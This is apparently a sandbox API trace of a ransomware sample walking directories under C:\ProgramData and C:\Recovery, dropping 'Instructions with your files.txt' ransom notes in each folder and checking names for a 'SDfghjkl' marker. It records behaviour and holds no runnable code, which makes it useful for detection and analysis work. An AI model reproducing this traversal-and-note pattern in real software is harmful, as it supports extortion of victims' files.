[0128.217] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1
[0128.217] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Sun") returned 22
[0128.217] GetProcessHeap () returned 0x810000
[0128.217] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x877be0
[0128.217] wnsprintfW (in: pszDest=0x877be0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Sun\\*") returned 24
[0128.217] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Sun\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876bf8
[0128.221] wnsprintfW (in: pszDest=0x877be0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Sun\\.") returned 24
[0128.221] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.221] wnsprintfW (in: pszDest=0x877be0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Sun\\..") returned 25
[0128.221] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1
[0128.221] wnsprintfW (in: pszDest=0x877be0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Sun\\Java") returned 27
[0128.221] GetProcessHeap () returned 0x810000
[0128.221] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x855bc8
[0128.222] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Sun\\Java\\*") returned 29
[0128.222] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Sun\\Java\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0128.222] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Sun\\Java\\.") returned 29
[0128.223] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.223] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Sun\\Java\\..") returned 30
[0128.223] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 1
[0128.223] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Sun\\Java\\Java Update") returned 39
[0128.223] GetProcessHeap () returned 0x810000
[0128.223] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x865bd0
[0128.223] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Sun\\Java\\Java Update\\*") returned 41
[0128.223] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Sun\\Java\\Java Update\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0128.224] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Sun\\Java\\Java Update\\.") returned 41
[0128.224] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.224] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Sun\\Java\\Java Update\\..") returned 42
[0128.224] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaureglist.xml", cAlternateFileName="JAUREG~1.XML")) returned 1
[0128.224] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Sun\\Java\\Java Update\\jaureglist.xml") returned 54
[0128.224] StrStrIW (lpFirst="jaureglist.xml", lpSrch="SDfghjkl") returned 0x0
[0128.224] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaureglist.xml", cAlternateFileName="JAUREG~1.XML")) returned 0
[0128.224] wnsprintfW (in: pszDest=0x865bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Sun\\Java\\Java Update\\Instructions with your files.txt") returned 72
[0128.224] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Sun\\Java\\Java Update\\Instructions with your files.txt" (normalized: "c:\\programdata\\sun\\java\\java update\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x110
[0128.224] WriteFile (in: hFile=0x110, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cee94*=0x54, lpOverlapped=0x0) returned 1
[0128.225] WriteFile (in: hFile=0x110, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cee94*=0x18, lpOverlapped=0x0) returned 1
[0128.225] WriteFile (in: hFile=0x110, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cee94*=0xc, lpOverlapped=0x0) returned 1
[0128.225] WriteFile (in: hFile=0x110, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cee94*=0x16, lpOverlapped=0x0) returned 1
[0128.225] WriteFile (in: hFile=0x110, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cee94, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cee94*=0x23, lpOverlapped=0x0) returned 1
[0128.225] CloseHandle (hObject=0x110) returned 1
[0128.226] FindClose (in: hFindFile=0x876c78 | out: hFindFile=0x876c78) returned 1
[0128.226] GetProcessHeap () returned 0x810000
[0128.226] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x865bd0 | out: hHeap=0x810000) returned 1
[0128.226] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0
[0128.226] wnsprintfW (in: pszDest=0x855bc8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Sun\\Java\\Instructions with your files.txt") returned 60
[0128.226] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Sun\\Java\\Instructions with your files.txt" (normalized: "c:\\programdata\\sun\\java\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x10c
[0128.226] WriteFile (in: hFile=0x10c, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf124*=0x54, lpOverlapped=0x0) returned 1
[0128.227] WriteFile (in: hFile=0x10c, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf124*=0x18, lpOverlapped=0x0) returned 1
[0128.227] WriteFile (in: hFile=0x10c, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf124*=0xc, lpOverlapped=0x0) returned 1
[0128.227] WriteFile (in: hFile=0x10c, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf124*=0x16, lpOverlapped=0x0) returned 1
[0128.227] WriteFile (in: hFile=0x10c, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf124, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf124*=0x23, lpOverlapped=0x0) returned 1
[0128.227] CloseHandle (hObject=0x10c) returned 1
[0128.227] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0128.227] GetProcessHeap () returned 0x810000
[0128.227] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x855bc8 | out: hHeap=0x810000) returned 1
[0128.228] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0
[0128.228] wnsprintfW (in: pszDest=0x877be0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Sun\\Instructions with your files.txt") returned 55
[0128.228] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Sun\\Instructions with your files.txt" (normalized: "c:\\programdata\\sun\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0128.228] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0128.229] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0128.229] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0128.229] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0128.229] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0128.229] CloseHandle (hObject=0x108) returned 1
[0128.229] FindClose (in: hFindFile=0x876bf8 | out: hFindFile=0x876bf8) returned 1
[0128.229] GetProcessHeap () returned 0x810000
[0128.229] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x877be0 | out: hHeap=0x810000) returned 1
[0128.229] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1
[0128.229] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Templates") returned 28
[0128.229] GetProcessHeap () returned 0x810000
[0128.229] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x877be0
[0128.229] wnsprintfW (in: pszDest=0x877be0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\ProgramData\\Templates\\*") returned 30
[0128.229] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Templates\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="Ȭ癙䮸\x84翿")) returned 0xffffffff
[0128.229] GetProcessHeap () returned 0x810000
[0128.229] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x877be0 | out: hHeap=0x810000) returned 1
[0128.230] FindNextFileW (in: hFindFile=0x82f240, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 0
[0128.230] wnsprintfW (in: pszDest=0x844bb8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\ProgramData\\Instructions with your files.txt") returned 51
[0128.230] CreateFileW (lpFileName="\\\\?\\C:\\ProgramData\\Instructions with your files.txt" (normalized: "c:\\programdata\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
[0128.230] WriteFile (in: hFile=0x104, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf644*=0x54, lpOverlapped=0x0) returned 1
[0128.231] WriteFile (in: hFile=0x104, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf644*=0x18, lpOverlapped=0x0) returned 1
[0128.231] WriteFile (in: hFile=0x104, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf644*=0xc, lpOverlapped=0x0) returned 1
[0128.231] WriteFile (in: hFile=0x104, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf644*=0x16, lpOverlapped=0x0) returned 1
[0128.231] WriteFile (in: hFile=0x104, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf644*=0x23, lpOverlapped=0x0) returned 1
[0128.231] CloseHandle (hObject=0x104) returned 1
[0128.231] FindClose (in: hFindFile=0x82f240 | out: hFindFile=0x82f240) returned 1
[0128.231] GetProcessHeap () returned 0x810000
[0128.231] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x844bb8 | out: hHeap=0x810000) returned 1
[0128.231] FindNextFileW (in: hFindFile=0x82f200, lpFindFileData=0x22cf8f4 | out: lpFindFileData=0x22cf8f4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recovery", cAlternateFileName="")) returned 1
[0128.231] wnsprintfW (in: pszDest=0x833ba8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery") returned 15
[0128.231] GetProcessHeap () returned 0x810000
[0128.231] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x877be0
[0128.231] wnsprintfW (in: pszDest=0x877be0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Recovery\\*") returned 17
[0128.231] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Recovery\\*", lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876bf8
[0128.232] wnsprintfW (in: pszDest=0x877be0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery\\.") returned 17
[0128.232] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0128.232] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27cc8060, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27cc8060, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.232] wnsprintfW (in: pszDest=0x877be0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery\\..") returned 18
[0128.232] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0128.232] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="E9E239~1")) returned 1
[0128.232] wnsprintfW (in: pszDest=0x877be0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b") returned 52
[0128.233] GetProcessHeap () returned 0x810000
[0128.233] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x88bbf8
[0128.233] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*") returned 54
[0128.233] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0128.233] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\.") returned 54
[0128.233] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0128.233] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.233] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\..") returned 55
[0128.233] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
